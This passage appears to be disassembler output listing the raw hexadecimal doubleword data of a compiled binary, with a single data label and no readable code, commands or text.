808C8AE8h, 30F15C9h, 0FF6B3DF0h dd 4BBA75DBh, 90202844h, 2B5C9Eh, 0C5DA8EA0h, 927A010Bh dd 2630D14Eh, 0B6311C0h, 31204184h, 407EA44Ch, 0C4E8F474h dd 0F300CF15h, 33F8F9FCh, 5DD65786h, 8FC0A065h, 21D33102h dd 5E7CE109h, 86388203h, 0E8820901h, 420EC34Ch, 0F4FC81E8h dd 56EA4494h, 29F1B809h, 0EE240134h, 0E0C764ADh, 8053F51Eh dd 0C460E922h, 0ADD56B31h, 2E9300F0h, 0A5A0F958h, 30499EAh dd 0AF696AA2h, 5021E883h, 417A3879h, 0F7C402DEh, 0DC92F891h dd 481CB77Bh, 0A88022B9h, 35A64372h, 707629h, 2CA5780Ch dd 602FE320h, 0D91E3218h, 10CCADA9h, 0CA19D18h, 1829DD2Eh dd 0C3D77EC9h, 0BFD52C61h, 0E498F4A8h, 9545D48h, 0F779340Dh dd 3C9EC080h, 0F703C0C9h, 0FF98283Ah, 0A5083012h, 0C9443D21h dd 0FAB33100h, 72B72A7Fh, 58AA00D5h, 2F7D19A5h, 9200097Ah dd 8C5AD1D9h, 10FEA8h, 9D567735h, 5B8A31Ah, 0E088D1Ch dd 7FB618B2h, 5EF37448h, 9E00907Eh, 7131BE10h, 309A2CA1h dd 88509805h, 0CA00FC4Eh, 627E95E4h, 30BF08F1h, 0DF482406h dd 0DDA08257h, 0A7184B71h, 5658038Eh, 7A0E3085h, 841FFF78h dd 77329600h, 46C0B7E0h, 82BD3D54h, 0EA8C2060h, 0B9292C07h dd 5DC220A6h, 0C2313099h, 0A09F1E07h, 0D76052C1h, 0F215AD38h dd 2FEE0371h, 0B895E502h, 80D9A5F1h, 7EB244C8h, 0C097E448h dd 616BFBF8h, 12035B94h, 0B07F302h, 8208303Ah, 9449D421h dd 7A6F7300h, 0AB1771FEh, 0C1D5035Fh, 72B9829Dh, 4A635800h dd 12779765h, 0FB36181Fh, 295A834h, 78C0766Ch, 47048C0Eh dd 52126194h, 0CA208662h, 7D08944Fh, 7DA202D0h, 12F4F7FEh dd 0AAE0B880h, 44527EB1h, 94650228h, 3162125Fh, 4DC81088h dd 0BAAC2494h, 0E0B50318h, 0A3985E47h, 4509266Eh, 0D4147Dh dd 0C45F7E34h, 354E03A8h, 0D3D6B8FCh, 60FF1900h, 5E566148h dd 3A7A7377h, 8197846h, 601420FCh, 0BD0761ECh, 0A5A7E166h dd 4A389C70h, 78171485h, 5C4284B5h, 113087B2h, 0A2131E21h dd 12B8A8D9h, 400A8BC4h, 328F148Ch, 60A8137Dh, 30C079ACh dd 0D2749586h, 244FF851h, 807807B7h, 46BDC31Bh, 9A0CBF83h dd 8D77AD3h, 0DF40C0F3h, 35BDBB3Ah, 529D4100h, 930727E3h dd 508090CCh, 8CBB8C48h, 4649330Eh, 66784856h, 1F0021FCh dd 0F11D492Ch, 1FFD362h, 124E655Ah, 81800982h, 0FE3AFCD0h dd 0F4414B91h, 74200452h, 1C97EA54h, 0EA86D078h, 0A97C0788h dd 0A016C3E7h, 7F95D1D8h, 0A1F784A8h, 0D891C924h, 2CD47C42h dd 848AF440h, 64600D1Ch, 12236094h, 70114Ah, 9944CC9h dd 47448C2h, 0E231A3E7h, 700C08Ch, 0EC803205h, 0DEE83316h dd 36A2F488h, 3A046C6Ch dd 2AF7AEC9h, 3B208862h, 307C942h, 8938F45Bh, 83AC720Bh dd 0C8BE40A0h, 8710D342h, 0C041C8C8h, 125C9460h, 0A8F2EA24h dd 48D558h, 42282594h, 0D7A2BCD0h, 0CF001891h, 2A0F9724h dd 0AA880719h, 8112EC72h, 823529EEh, 0B16C588h, 15B92CCEh dd 0FF64E700h, 4EBD4BE1h, 2F4909Ah, 0ECD3BAA6h, 10486B17h dd 69C1CED7h, 0B6AC02F2h, 0F7223E0h, 7324C014h, 25F7D1E0h dd 8513989Bh, 885831FEh, 29BF0B69h, 98B40A29h, 4A2F8178h dd 0F8849D28h, 0ED17A0C4h, 75563901h, 4800CB3Ah, 0E83BF8B4h dd 30521337h, 703079B5h, 30FFB706h, 0A2108190h, 0E21893A1h dd 5203797Eh, 0F100AEECh, 4C86DD67h, 4C48E7F6h, 0B68744FFh dd 0D14F4097h, 0EF1D9317h, 40003115h, 8DF22ABDh, 48ECFE30h dd 7D03A6F1h, 4B23C23h, 9D1E70A0h, 92AA7666h, 0F18C430h dd 5EB303B6h, 0C1E9D314h, 2080891Ch, 0D8218C45h, 9E01534Bh dd 6DBEBA02h, 78BE4254h, 45590270h, 0CB063818h, 4A7C89C0h dd 912F1631h, 73C0B0ACh, 60C9000Bh, 2957DEB5h, 15002730h dd 4306D070h, 6008FEC7h, 1CB0789Dh, 1B78BB20h, 69513118h dd 0C09A1D49h, 5B4D8891h, 521D1A5Ch, 1B0F62DFh, 8678183Bh dd 0A3923E75h, 97105DB0h, 1D314FC4h, 0A64D58C9h, 609DCCh dd 0BEFBF754h, 5F87ED04h, 0CB28D14h, 418440C4h, 89404770h dd 61E7F23Ch, 0F9BD18E2h, 883FEC31h, 919F1D30h, 2EFC61B3h dd 6FC1AA6h, 88C1239h, 0DC218D60h, 21BFC79h, 979D885Ch dd 0C6602B55h, 0DE608734h, 45335F58h, 30BF60FBh, 9BBC6693h dd 0D43F08DEh, 400C580h, 694DA8CBh, 18468D4Ah, 4072030Dh dd 3A0036C7h, 0F7B6E6A1h, 0C06BAB1Ch, 0BE958918h, 0F5040EF3h dd 0B5B72D46h, 5B36B301h, 36E0BEAAh, 54206842h, 4841BC3Dh dd 0EF03300Eh, 0B3888FAAh, 0A8833BA2h, 90D6F582h, 7B203618h dd 0A4AB0FB1h, 52270C20h, 0D6190C8h, 78B4D336h, 7B741868h dd 8620394Ch, 0C6F8FA00h, 0BF9F5991h, 3C08CC79h, 8E017F21h dd 0FEC662FAh, 50858A80h, 3E1B36h, 78C4893Ch, 0D205C787h dd 44B7E7CDh, 0B8369801h, 4C202550h, 0D2035108h, 0CFC0C09Dh dd 1F3E9Fh, 0F3E831C2h, 471A40F8h, 0F609C90h, 45D364BCh dd 660ECD00h, 6B00E03Bh, 735C11E6h, 13E6ACCh, 0A3F6F214h dd 43812DACh, 8AB9BAE0h, 1068B062h, 92BD6597h, 6E6C24D4h dd 2016121Ch, 0F4426268h, 0C547C30Eh, 86FD808Ah, 1D2496Ah dd 0CDA2D4D5h, 824CA33Eh, 3846C790h, 459044B3h, 88A80E49h dd 32D4C035h, 0FF00F6ADh, 20D7393Eh, 36BD9E9h, 368D2CEAh dd 310B4B05h, 0A15816h, 54E8BCF9h, 24A8A394h, 0C38087C8h dd 1AB9FC62h, 25CE19DCh, 0E4C781DDh, 40C8D996h, 0F2AE788h dd 842E5901h, 0A5BDC130h, 55CB0870h, 0A000E09Fh, 0A9B8E8CDh dd 60F4DDC4h, 0C9360162h, 793E4CBDh, 87C7D1BFh, 60A77721h dd 6F3F560h, 0B0511A57h, 4C40B13Ch, 9C900C3Dh, 9BC4D01Ah dd 270C8299h, 3B15025Eh, 4771CCA0h, 0CD0EC4E9h, 208E1C60h dd 0FE3E6974h, 0A3672403h, 21D0298h, 1844A148h, 0B8D66E0Ch dd 0A0F971E0h, 547AA5FCh, 58BAA449h, 0DC06E414h, 81821C30h dd 86AA8530h, 5ADF92h, 57A7476h, 6B424873h, 0F0A0E270h dd 0A724365Ch, 714CA0D3h, 0B13A6015h, 0A3FCF965h, 2CCDBC03h dd 30DDC4B9h, 83216008h, 901CFDD1h, 45C0CF97h, 2629AF36h dd 3FE73BB7h, 936D088Ah, 0F03D40ECh, 3EF8B270h, 70F289Ah dd 269D6F81h, 15D14A21h, 8010FEC5h, 0BA94A40Fh, 3A4510Ah dd 3D40E854h, 58205013h, 0CD1E1404h, 2675C059h, 0FA850258h dd 3179C7C9h, 8D801038h, 0B1DB0FFAh, 312E0478h, 1BA2FD0Eh dd 0E88141CDh, 6348B036h, 0DE570940h, 0D1C02468h, 4AB2098h dd 0A9367660h, 20C932BFh, 2C60737Bh, 8F5C002h, 4463AF1Bh dd 0BD8419E4h, 0C03629B7h, 70DB2CD5h, 106E8AF8h, 1A8049F8h dd 43B830CBh, 93B297A0h, 7ADC6554h, 9BF5488Ch, 2BEDBC0Ah dd 406B64DCh, 0CAFDCD77h, 0F8480559h, 86D3BA5h, 0BC9642CCh dd 2BD5808h, 91C3D060h, 0BEFD2C48h, 6B5B2004h, 90C08D5Eh dd 5018422Ah, 0BF2A09Fh, 0DCEB4BE7h, 0D0CA2804h, 22CFE658h dd 75875A01h, 5EB2B308h, 50858049h, 3042BFBh, 3EE841E0h dd 0B0CC182Bh, 6160A602h, 19E74236h, 7810E2B0h, 0EE5860AEh dd 1D1F74FEh, 0B40BB26h, 1A93489Ch, 2898A4B9h, 148B2306h dd 0A83B4CE8h, 224F302h, 3848B974h, 0E460437Ah, 0B2921B58h dd 7398C951h, 0FAA32C30h, 89C6F711h, 7E803A88h, 2D5EFA8Bh dd 12730217h, 0F9A198E9h, 54BAF040h, 0ACD1BF28h, 3C2A4002h dd 0E8E30320h, 18C9BD28h, 788C70B8h, 3E580C18h, 4C148438h dd 48A30600h, 2A806909h, 3C7738F7h, 2028B918h, 0C414DC93h dd 0F020D075h, 8668D43Bh, 4D08B608h, 48F03A8Eh, 0E2BC7034h dd 96C8018Ch, 4D206814h, 0ED74D8B5h, 630E520Ch, 1409F0B8h dd 0B4A6B037h, 0BD04C449h, 0A0EF0E54h, 0E574681Ch, 0BCF17E0Eh dd 0B125CC08h, 8C7310CBh, 0E0A0517Ch, 95803C86h, 5C777C29h dd 0D31710FDh, 60403973h, 0B8588860h, 0A8148570h, 0C070D4C2h dd 914839D8h, 6C1A08B8h, 0EE05D400h, 0EA2D5444h, 379C2ECBh dd 604F468Ch, 949DA624h, 98209707h, 1187C843h, 96A140E0h dd 0D46F5004h, 47C02B05h, 804D3C98h, 1CFED3CDh, 206AA331h dd 100BD3Fh, 0D875B8BFh, 0F8204098h, 3131237h, 48645230h dd 5B83347Ch, 1B8E3B3h, 1067C470h, 0FDD57D38h, 814844FEh dd 636ECB34h, 30E4F280h, 0DD0195A2h, 4E045D54h, 44CCC50Ch dd 5DACA489h, 2E7C1C98h, 92789C46h, 0C8688B75h, 0C959C18Bh dd 8322F82Eh, 89CDC731h, 0AC503216h, 5C98DBD2h, 710F3570h dd 79C076F0h, 1B1A4433h, 306A0F26h, 8C8E804Ch, 0ACFC7704h dd 0B962741Ah, 0FC6FD220h, 87730E65h, 9180679Fh, 1A63C5AAh dd 7A528C90h, 0F08900BCh, 288EC9EFh, 57B90B07h, 0C80318DBh dd 80005BDEh, 56EE203Dh, 0EEFFB853h, 5284B2B3h, 7802488Dh dd 8C1AADFCh, 0D3108A31h, 0B71EFC70h, 51426D3Eh, 0A0C8E669h dd 19051C88h, 0D3F897h, 0B9D5B54Fh, 0C6629DF2h, 0E826EAF0h dd 0D0008908h, 3E314C06h, 0B2A0A843h, 335F0049h, 22BEFC46h dd 6D02D613h, 74D00B97h, 5EA84186h, 8D6FE850h, 731E765Ch dd 4977F0BEh, 0B9206CA0h, 4714BF24h, 3DD5809h, 9DA7CD04h dd 0B05928D7h, 11FA9F9Ch, 8829C6F3h, 878A8723h, 0FDF430FAh dd 0D8799C3Dh, 0F7A18412h, 1174A0D2h, 9702DE5Ch, 0BC594054h dd 0EC43491Ch, 90CCE815h, 0CDF9C700h, 99F19CB2h, 670AD00h dd 0FBB37625h, 2034B8ABh, 0A65DB940h, 424722E4h, 0FF1200BDh dd 6496EFDAh, 2A970A8Dh, 20907F54h, 2490C438h, 810849B9h dd 3C68B87Bh, 637ADC20h, 0D80DE131h, 0B4277988h, 0ED4D1C00h dd 3978B5DFh, 529CA0A6h, 0AE4684A8h, 0F2FAA002h, 38C741C6h dd 0FA888900h, 2ED6AF84h, 40A41B36h, 0B8AC5EC7h, 0B4607581h dd 0FB6C0EABh, 525DE740h, 0DFA0C1E6h, 8CAA08E2h, 0F6FAA404h dd 0F8A2A1C6h, 0FA8C7DC0h, 0E41E0F15h, 99C5E5F6h, 0FC81092Bh dd 0D438694Eh, 716244C0h, 0A10026A4h, 72899E21h, 5C2ACCB2h dd 0F0103C6Ah, 2364586Bh, 0FDCA006Fh, 2CC5BCA2h, 84674486h dd 0EFFDC200h, 8E574ED0h, 0C9831241h, 30040B6h, 34617B5Fh dd 6A09D8ACh, 9B933F54h, 0FFB181F8h, 242073F5h, 0C06A8947h dd 0F89899C3h, 980555h dword_4FF844 dd 12536FEFh, 0BF202CB8h, 0B0540B47h, 241439D0h, 1021DCB0h dd 8CCE152Dh, 4165316h, 4447202Ch, 3891851Dh, 0B1C41F73h dd 8FB4004Bh, 8EF5CE3Dh, 310014ACh, 0BEF92AE8h, 2943200Bh dd 16CE122h, 8D58E6C7h, 0E8EC5CE9h, 4F88CA54h, 20EF4E00h dd 2B9F4B5Ch, 954D002Eh, 96786913h, 0B21759F8h, 0FC45CF04h dd 0C916D077h, 0B3BAFC41h, 0D8AC3DEAh, 34343A28h, 88F08ED8h dd 0A1CAC0B9h, 7812EADFh, 98047120h, 90C35A02h, 34A29908h dd 0C88D6893h, 4D00F3CCh, 76310157h, 1108B217h, 2B6EB6BBh dd 6424C84Ch, 0C0204000h, 19E195h, 816605E7h, 89107FEAh dd 0F701850Fh, 22AE7DE9h, 8D222819h, 0D0F69EF0h, 5717FE18h dd 0B343EAE8h, 91C35F20h, 0A82F7C89h, 21158CC5h, 0C3570F47h dd 0DFA0FA74h, 4FBB32C8h, 55485064h, 0C8C35D61h, 448C6C89h dd 553F451Bh, 70C880C3h, 0C69335F7h, 0B59BF07h, 6960F000h dd 0DAFE32h, 0ABACB5CCh, 0B12FE754h, 159D0918h, 188B5AEFh dd 0E2B5DBDh, 0FD6CB5FFh, 457918DBh, 0F900C1Ah, 67068C30h dd 0D03D8D29h, 897F9725h, 0C1BBF757h, 68593304h, 0F120104h dd 0A4F4D972h, 5633958Ch, 1505F1Eh, 0F0E6D4Ah, 21F89908h dd 181CD18Fh, 0E95200B6h, 7CBCDA8Eh, 890C0616h, 6032958Dh dd 0A10F7850h, 9DF58B65h, 317782F6h, 0B301072Ch, 0C0E0235h dd 7B0FC085h, 80F880CBh, 7F6E7FBDh, 1C91E1EAh, 0BB66C18h dd 0C61100BEh, 0DA812F65h, 3C06B183h, 14DDE946h, 0B70F1F20h dd 0FDBD02D0h, 2584E701h, 5200241Eh, 0F357F0E6h, 29120ACDh dd 0B1B06595h, 4107183Ch, 145F8443h, 0F732A204h, 87C0559Eh dd 0BD958BE1h, 0E96C1B63h, 0B1B91D81h, 2F36DBB2h, 0E515E23h dd 8944C359h, 2016624Ch, 0B9C35141h, 0BE7CED28h, 0D1800AA4h dd 1911671h, 0BBF1D18h, 0A831EE95h, 9CA81DDh, 57D9B87Bh dd 0B9512330h, 30246673h, 23B2853h, 0B62F4BBAh, 22B194A2h dd 890A4684h, 3A11A59Dh, 3B32BB12h, 0C35E3056h, 744889E4h dd 5646E1CAh, 55CBA940h, 90C10CBCh, 0E9DE3942h, 9F272148h dd 917A1A10h, 0E2B020D6h, 0A440A115h, 50D3C017h, 16C8D4B5h dd 0BD8982F3h, 85901BA1h, 0B2747BE2h, 7E5C6348h, 8763094Ch dd 83225CD1h, 416669C4h, 8B1C19F3h, 1852DCC0h, 21C3725Ah dd 42C05489h, 1C7C352h, 0FE9D60A4h, 85B0B313h, 71FAE766h dd 0C91AF1Dh, 12097518h, 74892819h, 0C25350D8h, 7D3B87Ch dd 7D85BDA1h, 939D1004h, 0D3FF80B4h, 22585B2Bh, 20431710h dd 67B182C4h, 7CC10F66h, 0BBE0001Ch, 37F2EAD2h, 9DE24F91h dd 1E278303h, 40CF8B66h, 4071C69Ch, 0BD48810Ah, 726F8140h dd 1C206165h, 9531889Bh, 0E9812BF2h, 0A40093B8h, 0EDBE148Dh dd 4F9336FBh, 0D20E5018h, 0F34286F8h, 0DA40DF46h, 85C6080Ch dd 440032A5h, 0A3184F68h, 30D39896h, 85F70899h, 0ED392Ah dd 0ACD88BD0h, 0A5D3492Ch, 0AB4A699Eh, 874898Ch, 6EB8230h dd 5B854A92h, 8C51067h, 0E0EC854Eh, 1970CA54h, 80370C63h dd 5132F1D5h, 0B14E0B41h, 0F4C01888h, 9FEC10h, 0A8C181F3h dd 255C19C7h, 8427FF69h, 0B9400551h, 2DCDF24Bh, 0FEF8833Dh dd 1DD368E8h, 0F2A99730h, 0C1130074h, 932C2BDh, 0FC753777h dd 7B62734Ch, 0B2256D30h, 9A9D85C7h, 2B049944h, 477E78A6h dd 0F00B2775h, 22C95A3h, 91671B8h, 4DB10089h, 0BE73A0A1h dd 47DD5155h, 9474559h, 7196CB13h, 0F27E2F45h, 7D0400B1h dd 2672300Eh, 10540386h, 71C8C08Ch, 847C5C22h, 0E182EC40h dd 8ED82447h, 244AB589h, 0F5E114Bh, 0FED2BF0Fh, 6713915Ah dd 601B440Dh, 4303BE5h, 6D7D9D99h, 4674C007h, 294C53ACh dd 69ED38D8h, 449C967Ch, 4F986024h, 8DD5E31Dh, 0E5B58B82h dd 0E8E6425h, 611678CEh, 0B9F2C36h, 820B428Ah, 87110874h dd 0FE86D708h, 8D091FCDh, 48AAA6E1h, 559C31C2h, 8A230927h dd 903FD4B2h, 8C00BDD4h, 0A01775BBh, 5E1EF84h, 0FF861CEh dd 135FCC8Dh, 0B006BF88h, 0AAD30038h, 8DBAF552h, 730779DAh dd 0C20427D9h, 4C27856h, 1C1BF66h, 2E978203h, 8E3F6802h dd 0EE8A02AAh, 0BF96486Ah, 5419B0A5h, 44341Fh, 0A14F9B2h dd 4262D6CAh, 9100E37Ah, 8624C61Eh, 98872C4Ah, 0B934D11Eh dd 1C498D0Bh, 5084CDB3h, 40152482h, 95C6609Dh, 6F2A034Dh dd 0C8C8261h, 3600422Bh, 3B6787AFh, 1ADF1DCAh, 0AC07BB53h dd 1A4499C7h, 53E79860h, 0DA65430Dh, 5F7248E1h, 36301AF2h dd 0A0B93A41h, 0B039181h, 3232DDBDh, 0F1800C9Bh, 0D7090A41h dd 620512DEh, 838352CEh, 1A14075Dh, 18995059h, 1452B4Dh dd 0B77D0CBAh, 0F50E6795h, 61E46077h, 60800F80h, 51B69102h dd 16DCFF68h, 2A593326h, 69801B22h, 6FF06E70h, 0EF96B900h dd 0FA118AFCh, 6D530379h, 0F9ACC38Dh, 0D372AE2Ah, 49B5290Dh dd 57235617h, 4824FC32h, 6508AE2Ah, 95CE3024h, 0FD21A59h dd 1A23C23Ah, 28038528h, 0AE7B23A4h, 1EB9C053h, 645A4D5Dh dd 2452B54Ch, 72C3E51h, 302C3853h, 61536401h, 89C8C35Bh dd 58AE945Ch, 0C37D5343h, 4449FD40h, 21DF7729h, 8D8595FCh dd 779648F8h, 67D1969h, 839AFB43h, 81443109h, 8F0AE82Dh dd 0E0FBFE45h, 9657FDC5h, 0CF9731CDh, 965AD7D6h, 0C212E5CCh dd 1923D03Bh, 0D41E6F00h, 65022EFAh, 4AE58253h, 448F5FCDh dd 8E305610h, 9581C2Bh, 8F71D240h, 0D4121980h, 12A8106Ah dd 2C621D19h, 459D98C0h, 14C9137h, 0C467B9FCh, 2526379Dh dd 6150D064h, 89C8C358h, 0C0059144h, 7DC35040h, 87022E73h dd 0E98A5BBBh, 145E8425h, 0C11BCF40h, 0C7002675h, 9F17F40Dh dd 74BAE74h, 0D6B88545h, 9C876480h, 0F922B559h, 0BA660913h dd 2B32F07Ah, 9CDED02h, 0D623C72h, 92F08A19h, 0DF6508A4h dd 665C912h, 19233C3Ah, 9F43E21Fh, 2C40F11Bh, 45E96A55h dd 0BACCC82Ch, 0A4E44838h, 2CB3617h, 8F2BF186h, 0EC7C3158h dd 0C44292F5h, 0D81A1D0Ch, 83D623CDh, 0FD3FF96Fh, 3B687709h dd 61F97F04h, 682287B6h, 1DB80094h, 258D008Ch, 0C19DD59Bh dd 0BC3532E7h, 8598BC94h, 7FCF0681h, 6659299Dh, 0D219A098h dd 0D90AAEA7h, 6B681CC0h, 0E8032F80h, 952E1851h, 45609E03h dd 55DD3Eh, 1C9FAFDEh, 52B0AC8Ch, 0E0625376h, 2C126938h dd 0F4A8CE48h, 46A0880Fh, 7D498D31h, 40FA5B2Dh, 0F860C085h dd 0D812B866h, 0B1056163h, 9808F199h, 0B70F8091h, 0D98D23C9h dd 28E42252h, 0B59CFDBDh, 154674h, 1AB6E8A9h, 0A0FFF883h dd 9405AD9Ah, 0C2D885Fh, 0C5BD3303h, 85752C28h, 93EA1929h dd 2F521FAh, 0F5410209h, 0C486A6F6h, 1184676h, 319C793Dh dd 0D040F5C9h, 90BB71E1h, 5A9F79CFh, 0B95F065Ah, 0D0599111h dd 0EFF21937h, 0C442311Eh, 0F10F8801h, 88A40B3Dh, 378804Eh dd 0BB18958Dh, 1FD859F5h, 0A75ED8C8h, 62144485h, 1C66622h dd 149AA7A8h, 2D54B91Dh, 0BB874h, 9E363387h, 0B66AC853h dd 417AB54Fh, 0B168CD00h, 0EF50BC0Eh, 3124564Ah, 62540C86h dd 0EC8A06FCh, 96A01751h, 41822BE2h, 0EF21CE7Ah, 94D02720h dd 0C5296417h, 37BF5601h, 8711D67Ah, 801D6500h, 0C55A1688h dd 8E8700E0h, 99C87868h, 2E58FB45h, 2516B259h, 0BC5499F8h dd 0C175A76h, 41814825h, 2366AF84h, 50F48A09h, 0F3C0A46Dh dd 5CB95F21h, 0C62611A6h, 96CA6043h, 2500B8FAh, 4493D358h dd 0A6948C1h, 0E8DD286Ah dd 0C0C31F14h, 0FDEE29ACh, 36EC2A32h, 9CAD6100h, 5A51F425h dd 2969B35Fh, 8087801Fh, 9290B1D2h, 926FDA59h, 0A98D7209h dd 0B568B1D8h, 9910B138h, 0F38B7018h, 0AC0B2412h, 0A88A07EDh dd 49C230CFh, 62016758h, 95C7FEE9h, 0C144A1F8h, 13C12911h dd 253E0197h, 0A3071B23h, 0EB00DF54h, 98D21441h, 27F1251Ch dd 0F9F7B922h, 114D208h, 8C14E8D4h, 0F5B27F00h, 0CDA6C8BFh dd 6DA9A265h, 601A44F3h, 0AE6D980h, 0E78E0C88h, 831110BFh dd 4206A98Dh, 521234C0h, 8B0E98F8h, 381D36C9h, 278D8987h dd 0C016090Dh, 0AE4A3EB6h, 7961CE12h, 1D8009E8h, 2BB22E2Ah dd 0EB1F8B9Ch, 8D4E2DA2h, 5F489881h, 3E485EE9h, 3D1D232Ch dd 0B7FAEF00h, 64AAD5D6h, 0F45420Ah, 600E4081h, 6C07C3BAh dd 8F61B373h, 78B486F4h, 0E3FA5D8Bh, 2AA188DDh, 78C8A4BFh dd 7BC981C0h, 57222474h, 993C872h, 721403F1h, 31BA660Ah dd 92CFBD95h, 4451DB90h, 3D303EDFh, 65D6C700h, 6674BF7Fh dd 60C86EEAh, 8D018209h, 0E3941FA1h, 70805691h, 28681EDBh dd 8BEA6Bh, 4CB56CB8h, 7817E7CCh, 27FAC15Ch, 0FC8B882Dh dd 0C89102C9h, 0E71AE3E9h, 110B9DDBh, 34A8019h, 5C169075h dd 4E5A0A32h, 8BED560Ch, 0F961C20Dh, 65007D9Dh, 0A9F162CAh dd 15693F41h, 17754F47h, 19B21BB3h, 0BD1AB30h, 9D3384FCh dd 3900FD44h, 4869269Fh, 0E657C81h, 0A8689EBDh, 5D80638Ch dd 0EE5F2040h, 31B13B85h, 1CECC9C8h, 6B66008Ch, 0BCEA3CA9h dd 1453ABECh, 0D20078FCh, 0A6FE6645h, 5C03BD08h, 0DF025B56h dd 0FFE9207Ah, 0B5018768h, 0AE0E0D4Ah, 0FA17C48Dh, 1CB27BB3h dd 130DB30h, 26A27AF9h, 603FE1F6h, 7F90F588h, 48A7A620h dd 93580C09h, 17E806D4h, 0F9B6328Ch, 4F44E85Ah, 2B4C1A00h dd 0CB9FB466h, 90130015h, 54F862E4h, 0AB0B5692h, 6E5AD68Bh dd 20F14A86h, 0CF8A6055h, 59950312h, 4261144Fh, 43C3B70Fh dd 1756692Bh, 20A6DF62h, 5973E651h, 0F09CF356h, 76E01A88h dd 0B0F50282h, 800FF2A5h, 3CB95391h, 4A546C9h, 15419589h dd 9DF12923h, 0E0674522h, 8952FBDAh, 0B88D4A57h, 0EFB91C20h dd 99E396Ch, 424D2C71h, 217FD944h, 21B978D9h, 7451D614h dd 9CB2ECBh, 81840918h, 0A5410BCAh, 7B823D35h, 0A88F7239h dd 19E9D8CAh, 8D53CD25h, 0F7120958h, 0A1CB89F9h, 61D75043h dd 1FB2006h, 0B15B0CEAh, 1816D1F6h, 0BB5B286Ah, 16E55FD5h dd 0C8058EB1h, 134AC017h, 0CA9E7B5Fh, 0DEF6D40h, 0F29D000Ch dd 0F7E1BEC0h, 139059F5h, 0ECE5C3D4h, 13148C16h, 3EC7C51Bh dd 81EEC1EDh, 606AFEB9h, 99E8FCC4h, 4E003BC0h, 0E5BC59B8h dd 0BE076AAEh, 4499FA69h, 848C61A6h, 988495B7h, 3C50542Ah dd 57F524CAh, 0EC02BA86h, 40FABC0Ch, 9A9E5FD0h, 0E1C6D507h dd 6009686Fh, 90FC53CCh, 8015FA6Ch, 91378531h, 81C26917h dd 20F5640Ah, 290B076Dh, 142EB59Dh, 0E5E9580Dh, 7D81D38Fh dd 0F9805707h, 0D21562E2h, 0EFA17AB6h, 0C91F30E5h, 0D2E83A6h dd 39458904h, 95183EF1h, 4A40FAFCh, 3F40EB18h, 8680BB3Eh dd 92633B9Eh, 194A400h, 0A94955C6h, 85C7F209h, 17DE2E65h dd 1A23773Fh, 0DFD87800h, 1EA2164h, 0B9E281EFh, 725435E8h dd 4C28C8CFh, 8F4CAC28h, 8C3D18B3h, 28830F19h, 1C1201DAh dd 0EED859E9h, 78249B0h, 890E1429h, 3DC790BDh, 0B921A996h dd 0C5953310h, 0BD961EB2h, 0E8A5E864h, 7EFBE0h, 0CE23313h dd 9DDD7668h, 886F5901h, 0BF9E6ACFh, 0FBE18882h, 9C605F7Dh dd 8953BD01h, 0D95E4BC2h, 0FD792ABBh, 0D9607AA2h, 0F5802109h dd 0CEA661h, 1EC2B1D4h, 0D5874DF1h, 9292103h, 0D1E5E19Ch dd 6882616Ah, 139BD8Bh, 356B9A5Ch, 3C4C8083h, 22D9F4BFh dd 0C6F8D299h, 0C6C28F0Bh, 2031170Bh, 0E80229D1h, 0A6004C5Ah dd 0C6DC9F6Fh, 6D55Ah, 5EB5B6ABh, 6E0CE8F9h, 0F0CAD401h dd 79BD894Bh, 0D25A0924h, 23613ABAh, 0AF01001Bh, 4DE17498h dd 0F59B7716h, 0C1422788h, 0D9D012Bh, 0C5442B13h, 0A08A151Dh dd 0BEACFA49h, 0E949031Ah, 88C85C60h, 0A73D09D5h, 62CD1045h dd 196C8D1h, 6ACF3816h, 0BBC01C88h, 5B5CE22h, 69AD5CE6h dd 82919445h, 9CF3016Eh, 40C94B00h, 7CBA1E9Dh, 0F1C51C98h dd 68B6FFFh, 8253807h, 1A665E3Ch, 0E23CA723h, 163F07DDh dd 93508EDDh, 1DC801CAh, 0CEF2EBC0h, 0DC6A0245h, 0A9C0B323h dd 8E0008C6h, 0C7D5259Fh, 4F7492F2h, 0E0FD3673h, 0C2862351h dd 581AE902h, 9BDB0FBh, 7572086Ch, 25AF2A88h, 96F7FE25h dd 61500CCDh, 0FFAF621Dh, 0A9B11DC0h, 0BB651D4Ah, 0E8AD0BE1h dd 0E6600248h, 3DA75100h, 0E92E4306h, 80721852h, 0FE079A5Ah dd 19F30882h, 108F2F3Bh, 1CC9DA53h, 8042BA8Ch, 590E513Dh dd 48F1B540h, 909D3167h, 0C9346AB5h, 2E41E55Ch, 0F7B76050h dd 0ABA649B9h, 2808D908h, 27075881h, 3016211h, 0C3F6DB8Ch dd 0FC982204h, 56619897h, 0B8520868h, 6AF09CA8h, 411BB804h dd 0A764DD10h, 0F7D48F81h, 802D0150h, 0AC9B6847h, 92EC4718h dd 1EF0EA4Ah, 61684F40h, 802F7B26h, 28872A6Dh, 7D666060h dd 56286A53h, 0C08518C2h, 41759875h, 64980A68h, 0D32ADB87h dd 6183D021h, 0D7A4684Ch, 20B48092h, 6A9D8B11h, 45B257Eh dd 5C6F9605h, 9152B54h, 5DD203C7h, 0C7C43ECh, 0ED8507A0h dd 0A4A9284Ch, 1947021Ah, 8B49B52Eh, 67281144h, 97681E45h dd 7D9210F7h, 67991743h, 280CAB02h, 6032750Ah, 0A1A3B46Dh dd 0C32524Eh, 344A36EBh, 80B9BC30h, 594F09CBh, 0A48060FCh dd 8DE881CAh, 2EC70F12h, 33BD9581h, 74664AA4h, 872E1446h dd 1A743253h, 1CCA000Bh, 77945F0h, 0FF645061h, 0E6990935h dd 2589E8CBh, 9DB20AA3h, 98954852h, 9857B2DAh, 18092ED0h dd 583A64FFh, 9C2A5174h, 2B8D881Ch, 27916C26h, 0AC2800Eh dd 683BD62h, 174472D4h, 39953143h, 78E9BB12h, 8B0F2B42h dd 8D4F8106h, 34073319h, 0C161A8DBh, 2CE19529h, 334E8104h dd 0ADCE89C0h, 5CB54A03h, 0F4080F0h, 640B073Fh, 0C24F8F48h dd 0C004C483h, 0B96C8BCDh, 1817D13Ch, 982905FEh, 0C1FB83DEh dd 100A8437h, 61E9D38Bh, 0C8B2D902h, 8294E1F9h, 0A5B5091Fh dd 84BDA52Eh, 519D7A45h, 4C8B8B40h, 33C70C24h, 0FF21A481h dd 3383033Dh, 0C0415B8h, 5C8BC3FEh, 0E8705530h, 24815D88h dd 8A34DFEDh, 281B838Bh, 34AF2040h, 5D0C8954h, 518D27A0h dd 6128AB96h, 9F94B800h, 76C9B953h, 5801165Dh, 80B1DB61h dd 0C92E63DAh, 7442002Dh, 0B9330B23h, 